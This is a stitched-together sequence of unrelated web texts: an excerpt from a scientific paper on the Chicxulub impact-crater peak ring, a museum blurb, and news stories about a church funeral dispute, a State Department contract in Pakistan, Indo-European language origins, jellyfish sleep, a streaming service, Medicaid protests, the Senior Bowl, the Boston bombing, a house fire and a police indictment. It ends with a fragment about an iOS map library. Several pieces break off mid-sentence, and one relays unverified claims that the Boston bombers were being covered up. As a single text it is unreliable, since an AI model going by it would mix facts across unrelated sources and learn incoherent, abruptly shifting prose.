Before drilling, not all of the geophysical data appeared to be consistent with the hypothesis that the Chicxulub peak ring was formed from uplifted crustal basement. Gravity models and seismic refraction data indicated that the peak-ring rocks had a relatively low density (2.2-2.3 g cm−3) (26) and seismic P wave velocity (3.9 to 4.5 km s−1) (27). The seismic velocity of crustal basement rock outside the central crater is >5.6 km s−1 (28), making it difficult to explain how crustal rocks within the peak ring could have such a strongly reduced seismic velocity. The inferred physical properties have been explained by the peak ring being formed either from a thickened section of allochthonous impact breccia (26), which is a typical cover of crater floors, or from megabreccia (allochthonous breccia with large clasts >10 m), as seen in one of the annular rings at the Popigai impact structure in Siberia (8).
In April to May 2016, a joint effort by IODP and ICDP drilled the Chicxulub peak ring offshore during Expedition 364 at site M0077A (21.45° N, 89.95° W) (Fig. 2A). The drill site is located at ~45.6 km radial distance, using a previously selected nominal center for the Chicxulub structure of 21.30° N, 89.54° W (10). We recovered core between 505.7 and 1334.7 m below the seafloor (mbsf). We made visual descriptions through a transparent liner, while samples from the end of the core barrel (core catcher) were available for direct inspection. We made 114 smear slides and 51 thin sections from the core-catcher samples, which were taken at regular intervals throughout the drill core. We measured petrophysical properties at the surface using a Multi-Sensor Core Logger (MSCL) and acquired a suite of wireline logging data from the seafloor to the bottom of the hole (21).
Fig. 2 IODP/ICDP Expedition 364. (A) Location of Site M0077A on depth-converted seismic reflection profile ChicxR3 (13, 14), overlain by seismic P wave velocity (27). (B) Lithology encountered at Site M0077A from 600 m to total depth, with Paleogene sediments (gray), breccia with impact melt fragments (blue), impact melt rock (green), felsic basement (pink), and preimpact dikes (yellow). In order to indicate a possible difference in origin, the blue and green color within the breccia is slightly lighter than in the dikes. (C) Corresponding petrophysical properties: gamma density [grams per cubic centimeter (g/cc)] and NGR [counts per second (cps)] measured on the cores using a MSCL, and seismic P wave velocity (km/s) obtained from sonic (red) and VSP (blue) wireline logging data (21).
The upper part of the cored section from 505 to 618 mbsf consists of a sequence of hemipelagic and pelagic Paleogene sediments. We reached the top of the peak ring at 618 mbsf (Fig. 2, A and B). The uppermost peak ring is composed of ~130 m of breccia, with impact melt fragments that overlie clast-poor impact melt rock (Fig. 2B). We encountered felsic basement rocks between 748 and 1334.7 mbsf that were intruded by preimpact mafic and felsic igneous dikes as well as impact-generated dikes. We recovered one particularly thick impact breccia and impact melt rock sequence between 1250 and 1316 mbsf. The entire section of felsic basement exhibits impact-induced deformation on multiple scales. There are many fractures (Fig. 3A), foliated shear zones (Fig. 3B), and cataclasites (Fig. 3C), as well as signs of localized hydrothermal alteration (Fig. 3D). The felsic basement is predominantly a coarse-grained, roughly equigranular granitic rock (Fig. 3E) that is locally aplitic or pegmatitic and, in a few cases, syenitic. The basement rocks in the peak ring differ from basement in nearby drill holes encountered immediately below the Mesozoic sedimentary rocks, suggesting a source of origin that was deeper than 3 km (21).
Fig. 3 Photographs from Expedition 364. (A to E) Felsic basement displaying (A) brittle faulting at 749.5 mbsf, (B) a foliated shear zone at 963.5 mbsf, (C) a cataclastic shear zone at 957.4 mbsf, (D) hydrothermal alteration at 930 mbsf, and (E) typical granitic basement with large crystals of red/brown potassium feldspar at 862.3 mbsf. (F) Shocked quartz from 826.9 mbsf in cross-polarized light, displaying three sets of planar deformation features (indicated by the solid white bars). (G) Shatter cone fragment from an amphibolite clast in the breccia at 708.5 mbsf.
In total, 18 of the smear slides and 17 of the thin sections were prepared from the felsic basement and viewed with an optical microscope. Evidence of shock metamorphism is pervasive throughout the entire basement, with quartz crystals displaying up to four sets of decorated planar deformation features (Fig. 3F). We observed shatter cone fragments in preimpact dikes between 1129 and 1162 mbsf, as well as within the breccia (Fig. 3G). Jointly, the observed shock metamorphic features suggest that the peak ring rocks were subjected to shock pressures of ~10 to 35 GPa (29). No clear systematic variation in shock metamorphism was observed with depth. Impact melt, which is formed at shock pressures of >60 GPa, is also a component of the peak ring (Fig. 2B).
The formation of the Chicxulub peak ring |
20th century exhibition, it features 11 “period rooms” – living rooms from 1630-1998 with original furniture, accessories etc. Each room is preceded by an explanation how a London house and room would look like in these times to provide some background and understanding.
The Garden is likewise styled in different styles of English gardens and is a tranquil Oasis that you would certainly not suspect to find in this bustling part of Kingsland Road.
The Museum is situated in 136 Kingsland Road, EC2 8EA and all information on visiting can be found here.
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AdvertisementsBuy Photo St. Leo the Great Catholic Church in Lewistown. (Photo: TRIBUNE PHOTO/RION SANDERS)Buy Photo
Controversy is once again surrounding St. Leo’s Catholic Church in Lewistown after a priest made a decision that upset a number of parishioners.
This time it involves the funeral of a longtime church member, a former choir director invited to sing at the Mass, a retired priest slated to perform the services, the Rev. Samuel Spiering, and some old wounds from his decision in 2014 to excommunicate a gay couple from the church.
All of it unfolded moments before a funeral service began.
“As a family, we would like to let this go, but it isn’t right,” said Susan Valach, daughter-in-law of the woman who died, Pearl Valach. “It hurts all Christians because it’s not compassionate.”
It started when Pearl Valach’s family began planning her funeral services. The 92-year-old woman was a member of St. Leo’s parish her entire life. She was a member of the first graduating class of high school students at St. Leo’s Catholic High School.
“Anyone that knew her knew she was a remarkable woman,” Susan Valach said.
From 1988-1993, then 1998-2012, the Rev. Dan O’Rourke served as the parish priest before retiring to Great Falls. Susan said her mother-in-law adored O’Rourke. The Valach family told O’Rourke they wanted him to perform the funeral services when the day came.
“Pearl called him her fourth son,” Susan Valach said.
Valach said as the family started putting together the funeral services with O’Rourke, Spiering was made aware of the plans. The family decided to ask a group of women to come sing at the service. At least four of those women – including former choir director Janie Shupe – left the church in 2014 when Spiering excommunicated longtime members and same-sex couple Paul Huff and Tom Wojtowick.
Shupe said there were hurt feelings between her and Spiering when she publicly support the couple and resigned her position with the church. So, she said, in the days leading up to her return to St. Leo’s to sing for Pearl’s funeral with other former church members, she knew Spiering was trying to get a hold of her, but she ignored his calls.
Shupe arrived at the church around 10 a.m. Tuesday, March 8, to start rehearsing for the service, when Spiering, 29, approached her.
“He said, ‘I’m going to ask you not to sing today,’” Shupe remembers him saying. “I said, ‘This is not about you today, this is not about me today. This is about Pearl Valach and her family.’ He told me I could sing from my pew. It was mortifying. It was the most embarrassing thing. I could have stepped down, but at the same time I thought, ‘That’s ridiculous.’”
Shupe said she wasn’t inclined to back down, and O’Rourke became involved in the discussion and defended Shupe’s right to perform. At this point Spiering said O’Rourke would not be allowed to perform the service if Shupe stayed. O’Rourke left.
“I can’t believe anyone in the right mind, let alone anyone who professes to love God, could do this,” Shupe said.
Up until this point, Valach said the family was unaware of the controversy going on while they prepared for the services of their loved one. It wasn’t until Spiering approached Pearl’s widower, Frank Valach, and said he would be performing the service that they learned what was happening. Susan Valach said the family wanted Shupe to be there.
“We immediately said, ‘Absolutely, no,’” Susan Valach said. “I went up to the choir and said we would cancel. Our family was so upset and finally (Spiering) agreed to leave.”
Susan Valach said it’s worth noting that her mother-in-law didn’t agree with Spiering’s actions in 2014 but never wanted to leave the church.
“She was upset when the decision was made,” Valach said. “She continued to be faithful to the church, but with pain in her heart.”
The Rev. Jay Peterson, vicar general for the Great Falls-Billings Diocese, was also on hand at the service (having once served the parish as well) and offered to step in to perform the service, which appeased the family.
Contacted by the Tribune this week, Peterson said Spiering was exercising his pastoral authority and called the event an “unfortunate conflict.” But he went on to say Spiering’s recent actions have caught the attention of Bishop Michael Warfel.
“I think Father Spiering exercised his canonical rights,” Peterson said. “At the same time I would add it was not the right pastoral decision. The Bishop is very concerned about this.”
Spiering declined to comment for this story, but did refer to a statement he read in church Sunday, March 12, in which he expressed his reasoning for making the decision that he did, but apologized for the manner in which he did it.
“What I do regret, and what I do apologize for, is trying to make (Father) Dan correct his action that morning at the cost of him choosing to leave and not celebrate the Mass. I now realize that I should have let the funeral go on, and then after the fact issue a funeral policy that would prevent such problems, a policy I will issue in the near future,” reads part of the statement. “I apologize on my part to the Valach family and to you all, and I ask that you forgive me.”
Susan Valach said Spiering has yet to apologize directly to the family or to Shupe.
The Rev. Samuel Spiering’s comments before Mass at St. Leo’s Catholic Church
Before the actual sermon today, I need to make a brief statement. This past Tuesday, before Pearl Valach’s funeral, I had to make an important pastoral decision regarding a sensitive matter. I had tried to resolve the issue in the days leading up to the funeral, but my multiple phone calls to the persons involved were not returned. On Tuesday morning I told the persons involved of my decision. Father Dan O’Rourke, who was visiting to celebrate the funeral Mass, contradicted me and went against my pastoral decision.
This genuinely shocked me that he would do this. I then informed him that either he would have to correct what he did or he would not be allowed to celebrate the funeral Mass, since it is very wrong for a visiting priest to contradict the pastor, especially on important pastoral decisions. While I won’t go into the specifics of the issue, I assure you that it was not merely any trifle or matter of preference. He chose to not celebrate the Mass, and Father Jay Peterson celebrated the Mass instead. Now, I can honestly say that at the time I was sure that what I was doing was the right thing. However, having thought and prayed about it all week, I realize that I pushed it too far.
Now, I have to be clear. I do not regret the pastoral decision I had to make. I also do not regret confronting Father Dan. What I do regret, and what I do apologize for, is trying to make Father Dan correct his action that morning at the cost of him choosing to leave and not celebrate the Mass. I now realize that I should have let the funeral go on, and then after the fact issue a funeral policy that would prevent such problems, a policy I will issue in the near future.
I ask for your continued prayers that I will serve God and this parish with charity, wisdom and prudence. As always, anyone is welcome to speak with me about this. I apologize on my part to the Valach family and to you all, and I ask that you forgive me.
The Rev. Dan O’Rourke’s statement following the Valach funeral March 8
I was invited by a family to celebrate the funeral Mass for their wife, mother, grandmother and a dear friend to many on Tuesday, March 8. The planning of the funeral service was done by the family. The planning sheet listed six musicians/singers. All seemed to be in order. Thirty minutes before the funeral was to begin, I was informed by the parish priest (Spiering) that one of the musicians, a singer (Shupe) who he was unable to contact beforehand, was not acceptable to him and was not allowed to sing. After he informed her of his decision, she spoke with me and I said I would take care of the situation and that she would indeed sing.
Fifteen minutes before the funeral, the parish priest again voiced his objection to me allowing her to sing. He informed me that if she sang, he would prevent me from celebrating the funeral. He stated that I could assist him but not be the principal celebrant. I told him that was not acceptable to me. I said to him, “You have no idea the problems this will create.” I further stated, “Just let it go at this point.” He said he could not. I responded to him, “What if I go into the church and begin to vest?” The parish priest told me he would prevent me from doing so. He also informed me that he would prohibit me from ever returning to Saint Leo’s in the future.
At that point, I found the situation intolerable and exited the premises. Another priest in attendance stepped in and celebrated the funeral Mass after the family informed the parish priest he was not welcome to celebrate the funeral. The singer/musician sang her heart out.
Read or Share this story: http://gftrib.com/1pv3SuiBarely two weeks after a NATO helicopter disaster killed 24 Pakistani troops, the skies above the Afghanistan-Pakistan border may get even more dangerous. The State Department's Islamabad embassy is hiring a contractor to coordinate air operations along the border to stop the flow of drugs and insurgents. Just what a tense situation calls for.
The new "aviation adviser" will oversee both the State Department's "fleet of... aircraft" in Pakistan, which isn't very often discussed, and provide "aviation support" to the Pakistani Frontier Corps, which patrols the tribal areas. The "end game" of the adviser's mission is "interdicting the movement of illegal drugs, arms and people across the border," not exactly a diplomatic specialty.
It's unclear what kind of aircraft the State Department has in Pakistan. It's also unclear whether State will help the Frontier Corps maintain its own aircraft or actually provide air support for the corps, a much more dramatic step. Either way, the department's call for the "aviation adviser" comes at a time when U.S. generals accuse the Frontier Corps of helping insurgents attack U.S. troops in Afghanistan.
Judging from a contract solicitation released on Thursday, the aviation adviser's life in Pakistan will be a rugged one. The adviser "must be able to independently perform fieldwork in remote areas for extended periods without assistance," the contract reads. "Some field sites have been declared hazardous duty locations by the Department of State due to hostile activities of armed groups within Pakistan and therefore pose significant risk to the incumbent while at these sites."
And the operations themselves do not sound very diplomatic. The Frontier Corps has long possessed a mandate to stop the flow of drugs across the border – and performed pretty badly, from the U.S.'s perspective. Not only is the border porous for insurgents, but two Pakistani factories produce a total of 400,000 metric tons annually of ammonium nitrate, a material commonly found across the border in Afghan homemade bombs.
Into that breach steps contractors for the State Department's Bureau of International Narcotics and Law Enforcement Affairs. In the past, the bureau has provided aviation support in Colombia, another partner nation racked by narcoterrorism. In Colombia, the bureau merely trained the Colombian military in air operations; judging from the job solicitation, missions in Pakistan sound more, um, direct.
It also comes at the intersection of two trends. First, the State Department is beefing up its security contractor presence in Pakistan: It put out a call last week for Pakistani embassy guards. Second, the relationship between Washington and Islamabad is spiraling downward after last month's helicopter accident, with the very Frontier Corps that the aviation adviser will work with getting yanked off the border.
State is about to send even more security contractors into that hostile environment. What could possibly go wrong?
Photo: Flickr/U.S. ArmyWhen and where was proto-Indo-European?
A new study by Remco Bouckaert and colleagues attempts to place the origin of Indo-European languages by using an epidemiological population model, essentially plotting the “spread” of languages from a common source Bouckaert:2012.
To test these two hypotheses, we adapted and extended a Bayesian phylogeographic inference framework developed to investigate the origin of virus outbreaks from molecular sequence data (13, 14). We used this approach to analyze a data set of basic vocabulary terms and geographic range assignments for 103 ancient and contemporary Indo-European languages (1517). Following previous work that applied Bayesian phylogenetic methods to linguistic data (13), we modeled language evolution as the gain and loss of cognates (homologous words) through time (1820). We combined phylogenetic inference with a relaxed random walk (RRW) (14) model of continuous spatial diffusion along the branches of an unknown, yet estimable, phylogeny to jointly infer the Indo-European language phylogeny and the most probable geographic ranges at the root and internal nodes. This phylogeographic approach treats language location as a continuous vector (longitude and latitude) that evolves through time along the branches of a tree and seeks to infer ancestral locations at internal nodes on the tree while simultaneously accounting for uncertainty in the tree.
Diffusion models applied to spatial data tend to place the origin at the center of the present geographic distribution. That’s just the simplest way to explain any geographic distribution under the diffusion model, which assumes that people act like random particles.
By contrast, Phylogeographic models tend to place the origin near the point with maximal clade distance. One ancient Anatolian language, Hittite, is attested in written records and according to the phylogenetic analysis is an outgroup to other, more recent Indo-European languages. Armenian, Greek, and Albanian also belong to relatively deep clades, and they geographically flank Anatolia in different directions.
So in this case, both diffusion and phylogenetic approaches point toward Anatolia as the most parsimonious origin.
Additionally, when the centers of diversification of the major Indo-European families are considered (e.g., Celtic, Romance, and Indo-Aryan), the geographic center of their distribution is Anatolia. Figure 2 of the paper illustrates the geographic ranges estimated as origins for the different clades within Indo-European:
Looking at the picture, Anatolia looks like ground zero for the viral spread of Indo-European languages.
OK, so the logic of the model pretty much inevitably leads to the conclusion. Anatolia is at the geographic center of the early Indo-European families, and is geographically central to the earliest branches of the language tree. But should we believe it? Languages, after all, don’t spread exactly like viruses. And viruses don’t spread by diffusion much of the time – if they did, the movie Contagion would have had a lot more boring plot.
I have no strong reason to be skeptical of the main conclusion, that the first Indo-European language may have originated in Anatolia. But I do note that it’s strongly influenced by the evidence we happen to have about ancient languages. If we had a stronger record of the ancient languages of Central Asia, who knows what we might find? Tocharian, in the Tarim Basin of western China, was also a relatively deep clade in the Indo-European phylogeny, spoken within the last 2000 years. Could there have been others?
Also, Razib Khan points out some issues with the dates that the model attributes to branch points in the tree: “There are more things in prehistory than are dreamt of in our urheimat”.
Bouckaert and colleagues set up an opposition between two hypotheses for the origin of the Indo-European. The first derives the family from Anatolia more than 8000 years ago, possibly shortly after the origin of agriculture in the Fertile Crescent. This is more or less the Colin Renfrew model of Indo-European, which posits that the language family was able to spread due to the population expansion of agriculturalists. In this model, the first Neolithic peoples of Europe should have been Indo-European speakers.
The alternate hypothesis is that Indo-European originated on the steppes of Central Asia and Eastern Europe. This is more or less the Marija Birute Gimbutas model, where early steppe peoples spread westward carrying Indo-European with them. Some linguists and archaeologists have strongly favored this model because of the words reconstructed as part of the proto-Indo-European language, which include many technological and ecological elements that would have been familiar to steppe pastoralists of 4500-6000 years ago.
This seems like a clear dichotomy – either Indo-European was early and spread with agriculture, or it was later and spread into regions already agricultural. In the first case, the language spread was mostly caused by demographic growth, in the latter case, other mechanisms such as elite dominance and conquest may have played more important roles. So it is interesting that this paper, after concluding an early Anatolian origin was supported by the data, actually argues for a much softer, intermediate position:
Despite support for an Anatolian Indo-European origin, we think it unlikely that agriculture serves as the sole driver of language expansion on the continent. The five major Indo-European subfamiliesCeltic, Germanic, Italic, Balto-Slavic, and Indo-Iranianall emerged as distinct lineages between 4000 and 6000 years ago (Fig. 2 and fig. S1), contemporaneous with a number of later cultural expansions evident in the archaeological record, including the Kurgan expansion (57). Our inferred tree also shows that within each subfamily, the languages we sampled began to diversify between 2000 and 4500 years ago, well after the agricultural expansion had run its course.
I think this is the most important passage of the paper. Reading between the lines, it says that the origination point for Indo-European languages simply may not address the archaeological record. What if Indo-European got its start in Anatolia 10,000 years ago, but many of the modern branches of Indo-European within Europe – Celtic, Italic, Germanic – all moved into Europe in several separate waves, starting less than 6000 years ago from the Pontic Steppe? We have pretty good genetic evidence now that the first farmers in Europe were not very much like recent Europeans. We need later migrations into Europe from elsewhere to explain the genetic record, and the archaeology (and later, history) provides plenty of reasons to think that later migrations were important.
So, there we are. Even though the present study supports an early, Anatolian origin for Indo-European, other evidence rejects the simple Colin Renfrew model. The present Indo-European families did not reach their present geographic distributions with the first agriculturalists. That means we need to look at more complex intermediate steps to explain how current and historic Indo-European languages got to their attested locations. The steppic model might well explain the spread of languages between 6000 and 4000 years ago, even if they shared earlier ancestors that fit the Anatolian model.Worms and fish do it. Birds and bees do it. But do jellyfish fall asleep?
It seems like a simple question, but answering it required a multistep investigation by a trio of Caltech graduate students. Their answer, published Thursday in Current Biology, is that at least one group of jellyfish called Cassiopea, or the upside-down jellyfish, does snooze.
The finding is the first documented example of sleep in an animal with a diffuse nerve net, a system of neurons that are spread throughout an organism and not organized around a brain. It challenges the common notion that sleep requires a brain. It also suggests sleep could be an ancient behavior because the group that includes jellyfish branched off from the last common ancestor of most living animals early on in evolution.
Working together was natural for Claire Bedbrook, Michael Abrams and Ravi Nath. The three leading co-authors of the paper are all Ph.D. candidates in biology at the California Institute of Technology and close friends.
The project started with an observation by Mr. Abrams that some upside-down jellyfish in his lab would immediately slow their pulsing when the lights were turned off. Over coffee one evening, he discussed this phenomenon with Mr. Nath, who had been studying sleep in roundworms and pondering whether other “simple” animals slept. The two decided to visit Mr. Abrams’s lab in the middle of the night, to see how the jellyfish were behaving.PlayStation Vue, Sony's subscription over-the-top video service for its gaming platform, is set to begin streaming on Amazon's Fire TV box and Fire TV Stick, with support for the Google Chromecast coming soon, the company said Wednesday (Nov. 12).
The deal with Amazon marks the first time the cloud-based service has been available on connected-TV devices other than Sony's PlayStation 3 and PlayStation 4 consoles. Sony had previously released a mobile iOS app-based version of the service for the iPhone and iPad.
Expanding the service to the Fire platform opens it up to an even broader consumer audience, Sony said. Using Amazon's streaming devices enables PlayStation owners with an existing Vue subscription to access the service on additional TVs in the household without purchasing additional gaming consoles.
The expansion closely follows a carriage deal Sony struck with Disney earlier this month that brings the full complement of Disney and ESPN Media networks to the service, including ESPN, Disney Channel and ABC Family, as well as ABC-owned local stations, filling what had been a sizeable gap in the Vue lineup
Both Vue's lineup of standalone channels available nationwide, such as Showtime, Epix Hits and Fox Soccer Plus, and its multichannel packages available in select markets, including New York, Los Angeles, Chicago, Philadelphia, Dallas, San Francisco and Miami, will be available on the Fire devices.
In a limited-time holiday promotion starting on Nov. 15, new Vue customers in those markets who sign up for a free trial of PlayStation Vue's "Core" or "Elite" programming tiers will receive a free Amazon Fire TV Stick with their first month's paid subscription; Core is a package of sports channels, and Elite is an entertainment package.
Sony also has reduced the prices of those two tiers, another marketing move timed to the holidays; the new rates are available now to new subscribers, while current subscribers will receive the new pricing in their next billing cycle, the company said. The basic "Access" package of some 50 broadcast TV, movie and sports channels remains unchanged.
Later this year Sony will extend the service to the Google Chromecast via its PlayStation Vue Mobile app for iOS devices, which will bring the number of devices that can stream the service to seven (PS4, PS3, Amazon Fire TV, Fire TV Stick, iPhone, iPad and Chromecast).
"Adding PlayStation Vue to these popular streaming devices is a great way to extend our pioneering cloud-based TV service to other TVs in the household and to reach new consumers who don't own PlayStation consoles," said Dan Myers, head of product for PlayStation Vue. "With the holiday season around the corner, now is the ideal time for us to expand PlayStation Vue access."Director of the Office of Management and Budget Mick Mulvaney testifies during a House Budget Committee hearing concerning the Trump administration's fiscal year 2018 budget on May 24th, 2017, in Washington, D.C. (Photo: Drew Angerer/Getty Images)
The future of Medicaid may depend on the actions of a handful of moderate Republican senators who so far have been very cagey about their stance on the latest proposed health-care bill's most controversial issues, especially when it comes to Medicaid. Last week, over 300 activists from ADAPT, the direct action disability rights organization that we profiled back in March, stormed Washington, D.C., to protest the GOP's bill. Eighty-three were eventually arrested for chaining themselves to the White House fence (technically for blocking the sidewalk). The next day, they dispersed to find their representatives in Congress. One group, from Colorado, succeeded.
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Cory Gardner (R-Colorado) was talking on the phone when a small group of ADAPTers from his state rolled up. He quickly hung up, focused on his constituents, and engaged in a substantive, five-minute conversation about Medicaid and disability supports and services. The exchange was captured on video and posted to social media. It's a model of good, frank engagement between voters and their elected officials, but it doesn't show Gardner taking a position on saving Medicaid.
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As we reported at Pacific Standard months ago, and as confirmed by the recent Congressional Budget Office, the American Health Care Act strips around $834 billion from Medicaid by rolling back the Affordable Care Act's expansion of the entitlement, but also by imposing "per capita caps" on the states. For disabled Americans, this latter threat is especially scary. Per capita caps involve changing the funding mechanism from reimbursing a percentage of actual costs to arbitrarily setting limits for every state. This means that many states, particularly those (like Colorado) that can't swap new state dollars for lost federal funds, will run out of money and will be forced to ration care in ways that are not only inhumane, but often fiscally foolish. Medicaid law, for example, prioritizes nursing homes over community-based living, even though community-based living is often radically more affordable. Under per capita caps, many disabled individuals believe they will be forced to choose between incarceration in a medical facility or homelessness.
This brings us to senators like Cory Gardner. Gardner, along with fellow Republican Senators Lisa Murkowski of Alaska, Susan Collins of Maine, Dean Heller of Nevada, and a few others are being identified by disability advocates as the most persuadable when it comes to saving Medicaid. Colorado, for example, would lose 20 percent (about $15 billion over 10 years) of its Medicaid funding, resulting in higher costs for the state. It's bad for state fiscal health. It's worse for the disabled citizens of the state.
The encounter with Gardner happened because ADAPT is good at what it does. I spoke to Dawn Russell, who speaks to Gardner at the start of the video and seems to have been the first person to catch his attention. (Russell wants to stress that she was just one member of a big group from Colorado.) "I was lucky enough to be with ADAPT at the White House," Russell says. On the first day, she was arrested, fined, and released, and then joined a group of 30 ADAPT women who gathered outside Ivanka Trump's house to ask her to speak up for the rights of disabled women (she didn't). The next day, the group went looking for their elected leaders. They were just making their way from the House side to the Senate when they spotted Gardner. "It was supernatural. We just felt the urgency," she says, as she describes the group splitting to make their way to the senator by whatever accessible means they could find. By chance, Russell and her sister, streaming on Facebook Live, arrived first.
It's a form of protest judo, using disability-related stigma as a tool to effect social change to fight that stigma.
One of the powerful things about ADAPT is that politicians who might otherwise brush off public encounters are sensitive about the optics of ignoring or mistreating people with disabilities. It's a form of protest judo, using disability-related stigma as a tool to effect social change to fight that stigma. You can see it in the video: The senator pretty quickly recognizes that he's going to have to talk to his constituents, hangs up the phone, and gamely rises to the issue. The ADAPTers are polite and informed. They have their Colorado-specific facts ready. Gardner (whose office did not respond to requests for comment on this story) talks about his parents' bad experiences in nursing homes as he sympathizes with these constituents' desire for independent living options. In the video, however, Gardner does not take any specific positions on the per capita issue, instead speaking vaguely about controlling costs.
His caution is understandable, if lamentable. The whole apparatus of the Trump administration is lined up to set vulnerable members of our society in opposition to those who don't yet consider themselves vulnerable. Trump's budget calls for another $600 billion in "per capita based" cuts to Medicaid above what the AHCA would do. When budget director Mick Mulvaney calls the proposal "taxpayer first," he's setting up a divide-and-conquer strategy: Why should you be paying for other people who don't earn their keep? It might well work. The GOP has has been using income tax (only one of many kinds of tax) as way of dividing makers vs. takers for years. What's more, the GOP's policymaking is specifically leveraging ableist stigma against disabled people, implying they are lazy and just need tough love to get off the government dole. In March, House Majority Leader Kevin McCarthy suggested that the ACA's expansion of Medicaid stripped federal dollars away from disabled white children and funneled them instead to adults who, McCarthy suggests, are probably faking. The recent budget cuts $64 billion from Social Security Disability Insurance on the principle, as Mulvaney said, that "999 people out of 1,000" people don't think SSDI is real Social Security. In other words, stigma drives policy.
The Trump budget is a work of fiction, but fiction has the power to shape our imaginations. Meanwhile, the very non-fictional AHCA legislation is moving its way through the Senate. Democrats will not be able to filibuster. Mitch McConnell is not even allowing Democrats into the room.
And so that means it's all up to people like Gardner, his colleagues, and the constituents who should be flooding their offices with calls. Hopefully, Gardner will remember the people he met on the steps of the Capitol building on a sunny day in May as he decides how to cast his vote.MOBILE, Ala. -- The NFL has cleared two non-seniors to compete in the Senior Bowl for the first time, opening the door to a wider pool of draft prospects for future games.
Senior Bowl executive director Phil Savage said Saturday that fourth-year junior offensive linemen D.J. Fluker of Alabama and Justin Pugh of Syracuse received that clearance. Both have graduated.
"This is a breakthrough moment for the Senior Bowl game because the league allowed us to bring in these two players who graduated in December and were on campus for four years and their coach supported their candidacy for the Senior Bowl," said Savage, a former Cleveland Browns general manager. "The reason we wanted to do this was because in the past there have been a number of fourth-year juniors who had graduated who were not allowed to play in the Senior Bowl."
Savage said players who would have qualified last year included Baylor's Heisman Trophy-winning quarterback Robert Griffin III and Alabama All-America linebacker Dont'a Hightower. Both were first-round draft picks.
"It would have certainly made the Senior Bowl potentially a better game," Savage said. "It would have given those players an opportunity to not only be rewarded but have an extra evaluating period for NFL scouts."
He said the Senior Bowl isn't interesting in admitting third-year juniors, or early draft entries who haven't graduated.
Savage said the Senior Bowl approached the NFL last June "about possibly breaking new ground" and then went back to the league with a small group of candidates for the game.
He said the NFL granted permission to include Fluker and Pugh this week.
Fluker was a second-team All-American right tackle who helped the Crimson Tide to two straight national titles. He played for nearby Foley High School, but is nursing a calf injury and won't play.
Pugh started every game he played at Syracuse and was an All-Big East selection the past two seasons. He'll play with his former quarterback, Ryan Nassib, on the North squad.
"We felt like that we put a lot of time and energy into getting this done and he was deserving of the recognition of being one of this duo of players that will always be remembers as the first two juniors," he said.The House Committee on Homeland Security has requested more information from Janet Napolitano on the Saudi national who was named the initial “person of interest” in the Boston bombings.
The committee formally requested a classified briefing from Napolitano on April 19, according to the letter published by TheBlaze.
This original suspect, named Abdul Rahman Ali Alharbi, was reportedly set to be deported on Tuesday, according to Sean Hannity’s Fox News program. Alharbi was supposedly in violation of section 212 3B of the Immigration and Nationality Act, citing “security and related grounds” and “terrorist activities.”
Rep. Jeff Duncan, R-South Carolina, expressed concerns that the man, who was here on a student visa, was being deported “due to national security concerns.” The full exchange appears on YouTube.
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Napolitano responded that she was not aware of “anyone who is being deported for national concerns at all related to Boston. I don’t know where that rumor come[s] from.”
“I’m not saying it’s related to Boston, but he is being deported,” Duncan continued.
Napolitano interrupted: “Like I said, again, I don’t even think he was technically a person of interest or a suspect – that was a wash. And I am unaware of any proceeding there. I will clarify that for you, but I think this is an example of why it is so important to let law enforcement do its job.”
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The letter from the House Committee on Homeland Security to Napolitano was signed by Republican representatives Duncan, Michael T. McCaul (Texas), Peter King (N.Y.), and Candice Miller (Mich.).
On Thursday Glenn Beck, who owns conservative network TheBlaze and Mercury Radio Arts, reported on his radio show that the Saudi national's visa was revoked and he would be deported.
Beck suspects the real culprits in the Boston bombing are being covered up. He said he would give the U.S. government until Monday to come clean on the Boston bombing investigation. He says he has information on the real bomber, which he will presumably release today.
Update: Here is Glenn Beck's theory on the link between the Tsarnaev brothers, the Saudi National and the Boston bombings.
Update 2: Glenn Beck Offers More Details on Boston Bombings ‘Saudi National’ Theory (Video)
Sources: TheBlaze
undefinedCOSTA MESA, Calif. -- Authorities in Orange County say a 7-year-old boy didn't hesitate when he smelled smoke at his home, waking up his sleeping father so the pair could escape a spreading fire.
The Orange County Register says the boy was getting ready for bed Saturday night when he smelled smoke and saw that the garage of his Costa Mesa home was engulfed in flames.
Fire Captain Chris Coates says the boy ran to wake his father, who had fallen asleep watching television. The two ran out of the house as the fire spread from the garage to a motorhome in the driveway and to a neighbor's storage shed.
It took nearly 30 firefighters about 15 minutes to douse most of the flames, the OC Register says.
Firefighters stopped the flames before they spread to the main living area of the house.
The father and little boy escaped unharmed. Firefighters credit that to the 7-year-old, the OC Register says.
The cause of the fire is still under investigation.A Chicago police officer has been indicted on federal civil rights charges for shooting into a car full of teenagers, marking the first time federal authorities have brought charges against one of the city's officers for a shooting in the last 15 years.
Officer Marco Proano, 41, was captured on video shooting repeatedly into the car as it backed away from him on the South Side in December 2013, wounding two teens inside.
In an indictment announced Friday, Proano was charged with two counts of deprivation of rights under the color of law alleging he used unreasonable force. He is free on his own recognizance and due to make his first appearance in federal court Thursday, court records show.
The incident was the second controversial shooting of Proano's 10-year career with the department. In July 2011 he shot 19-year-old Niko Husband to death at close range. A Cook County jury found the shooting unjustified, awarding his mother $3.5 million in damages, but a judge overturned the verdict.
Proano's indictment marks a rare move for federal authorities. A recent Chicago Tribune investigation found that Chicago police had shot 702 people — killing 215 — in the last 15 years, yet no officers had been charged by federal authorities in any of those cases.
The charges come amid continuing political upheaval in Chicago over police shootings and the rarity of city officials or prosecutors seeking to punish police for alleged abuses. Mayor Rahm Emanuel continues to roll out proposed changes to the Police Department and its oversight systems spurred by the political crisis that followed the release in late November of video of white Officer Jason Van Dyke shooting black teenager Laquan McDonald 16 times.
The city's police disciplinary authorities have long been reluctant to rule police unjustified in shootings, but since the scandal erupted, the city's Independent Police Review Authority has ruled a spate of shootings unjustified. Indeed, on Friday, IPRA spokeswoman Mia Sissac said the agency had ruled Proano's 2013 shooting unjustified.
IPRA's recommendation has been forwarded to the Police Department, Sissac said. The department has yet to announce any proposed disciplinary action against Proano, who has been on paid desk duty since shortly after the December 2013 shooting. He is paid $81,588 a year, according to city payroll records.
Proano could not be reached for comment, and his attorney, Daniel Herbert, declined to comment.
The video of the shooting of the teens in 2013 was first aired last year by The Chicago Reporter after it said it obtained the footage from former Cook County Judge Andrew Berman, who heard a criminal case involving one of the teens. The publication said the judge, who retired before the story was published, called the officer's actions the most disturbing he'd seen in his legal career.
The Tribune reported in June 2015 that the shooting was the |
think about it, there are a lot of things to do. There are coordinate-maths, algorithms and UI logic. Cluster is a library that solves all of that.
All you need to do is implement a few MKMapViewDelegate methods, and you can fully customize the look of the annotations on the map!
